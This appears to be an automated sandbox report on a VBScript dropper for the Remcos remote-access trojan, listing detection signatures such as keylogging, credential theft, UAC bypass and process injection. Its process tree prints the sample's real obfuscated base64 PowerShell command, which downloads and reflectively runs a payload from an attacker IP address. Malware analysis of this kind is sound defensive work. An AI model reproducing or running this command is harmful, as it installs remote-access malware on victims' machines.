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Windows
Analysis Report
sostener.vbs
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Installs a global keyboard hook
Potential dropper URLs found in powershell memory
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Uses ping.exe to check the status of other devices and networks
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Abnormal high CPU Usage
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 3644 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\soste ner.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 5896 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $IuJUJJZz = 'WwBT?Hk ?cwB0?GU?b Q?u?E4?ZQB 0?C4?UwBl? HI?dgBp?GM ?ZQBQ?G8?a QBu?HQ?TQB h?G4?YQBn? GU?cgBd?Do ?OgBT?GU?Y wB1?HI?aQB 0?Hk?U?By? G8?d?Bv?GM ?bwBs?C??P Q?g?Fs?UwB 5?HM?d?Bl? G0?LgBO?GU ?d??u?FM?Z QBj?HU?cgB p?HQ?eQBQ? HI?bwB0?G8 ?YwBv?Gw?V ?B5?H??ZQB d?Do?OgBU? Gw?cw?x?DI ?Ow?k?EM?Q wBS?Gg?bQ? g?D0?I??n? Gg?d?B0?H? ?Og?v?C8?O Q?x?C4?Mg? w?DI?Lg?y? DM?Mw?u?DE ?Ng?5?C8?V ?Bh?Gs?LwB S?GU?Zw?v? E0?YQBy?Ho ?LwBE?FI?R w?v?FI?V?B D?C8?QQBE? C8?Z?Bs?Gw ?LgB0?Hg?d ??n?C??Ow? k?EM?WQBy? Eo?U??g?D0 ?I??o?C??W wBT?Hk?cwB 0?GU?bQ?u? Ek?Tw?u?F? ?YQB0?Gg?X Q?6?Do?RwB l?HQ?V?Bl? G0?c?BQ?GE ?d?Bo?Cg?K Q?g?Cs?I?? n?GQ?b?Bs? D??MQ?u?HQ ?e?B0?Cc?I ??p?C??OwB J?G4?dgBv? Gs?ZQ?t?Fc ?ZQBi?FI?Z QBx?HU?ZQB z?HQ?I??t? FU?UgBJ?C? ?J?BD?EM?U gBo?G0?I?? t?E8?dQB0? EY?aQBs?GU ?I??k?EM?W QBy?Eo?U?? g?C0?VQBz? GU?QgBh?HM ?aQBj?F??Y QBy?HM?aQB u?Gc?I??7? GM?bQBk?C4 ?ZQB4?GU?I ??v?GM?I?? 7?H??aQBu? Gc?I??x?DI ?Nw?u?D??L g?w?C4?MQ? g?Ds?I?Bw? G8?dwBl?HI ?cwBo?GU?b ?Bs?C4?ZQB 4?GU?I??t? GM?bwBt?G0 ?YQBu?GQ?I ?B7?C??J?B D?Fk?cgBK? F??I??9?C? ?K??g?Fs?U wB5?HM?d?B l?G0?LgBJ? E8?LgBQ?GE ?d?Bo?F0?O g?6?Ec?ZQB 0?FQ?ZQBt? H??U?Bh?HQ ?a??o?Ck?I ??r?C??JwB k?Gw?b??w? DE?LgB0?Hg ?d??n?C??K Q?g?Ds?J?B n?Ec?aQBt? EE?I??9?C? ?K??g?Ec?Z QB0?C0?QwB v?G4?d?Bl? G4?d??g?C0 ?U?Bh?HQ?a ??g?CQ?QwB Z?HI?SgBQ? C??KQ?g?Ds ?I?B9?C??O w?k?Hg?awB s?Gw?a??g? D0?I??n?D? ?Jw?g?Ds?J ?Bi?H??dgB y?HY?I??9? C??Jw?l?Eo ?awBR?GE?c wBE?GY?ZwB y?FQ?Zw?l? Cc?I??7?Fs ?QgB5?HQ?Z QBb?F0?XQ? g?CQ?bQBx? G8?bgBz?C? ?PQ?g?Fs?c wB5?HM?d?B l?G0?LgBD? G8?bgB2?GU ?cgB0?F0?O g?6?EY?cgB v?G0?QgBh? HM?ZQ?2?DQ ?UwB0?HI?a QBu?Gc?K?? g?Cg?I?BH? GU?d??t?EM ?bwBu?HQ?Z QBu?HQ?I?? t?F??YQB0? Gg?I??k?EM ?WQBy?Eo?U ??g?Ck?LgB y?GU?c?Bs? GE?YwBl?Cg ?Jw?k?CQ?J w?s?Cc?QQ? n?Ck?I??p? C??OwBb?FM ?eQBz?HQ?Z QBt?C4?QQB w?H??R?Bv? G0?YQBp?G4 ?XQ?6?Do?Q wB1?HI?cgB l?G4?d?BE? G8?bQBh?Gk ?bg?u?Ew?b wBh?GQ?K?? k?G0?cQBv? G4?cw?p?C4 ?RwBl?HQ?V ?B5?H??ZQ? o?Cc?V?Bl? Gg?dQBs?GM ?a?Bl?HM?W ?B4?Fg?e?B 4?C4?QwBs? GE?cwBz?DE ?Jw?p?C4?R wBl?HQ?TQB l?HQ?a?Bv? GQ?K??n?E0 ?cwBx?EI?S QBi?Fk?Jw? p?C4?SQBu? HY?bwBr?GU ?K??k?G4?d QBs?Gw?L?? g?Fs?bwBi? Go?ZQBj?HQ ?WwBd?F0?I ??o?C??JwB k?EE?Qg?0? EE?S?BR?EE ?T?Bn?EI?M gBB?Ec?O?B B?GI?ZwBB? DU?QQBE?EU ?QQBj?Hc?Q gB2?EE?S?B N?EE?T?B3? EI?egBB?Ec ?UQBB?Fk?U QBC?HY?QQB H?Hc?QQBi? Gc?Qg?z?EE ?Rw?4?EE?W gBB?EE?dgB B?EQ?awBB? E0?UQBC?Gw ?QQBI?Ek?Q QBZ?Gc?QgB 0?EE?RwBV? EE?YQBR?EI ?MgBB?Ec?O ?BB?GI?ZwB B?HY?QQBD? D??QQBM?FE ?QQ?y?EE?R ?Bj?EE?TgB R?EE?M?BB? Eg?SQBB?GI ?dwBC?D??Q QBH?E0?QQB a?FE?QgBv? EE?Qw?4?EE ?WgB3?EI?e QBB?Ec?O?B B?Ew?ZwBC? D??QQBH?FU ?QQBh?Hc?Q gBq?EE?S?B V?EE?WQBn? EI?M?BB?Ec ?awBB?Fk?Z wBB?HY?QQB D?Dg?QQBP? Gc?QgB6?EE ?S?BB?EE?Z ?BB?EI?M?B B?Ec?ZwBB?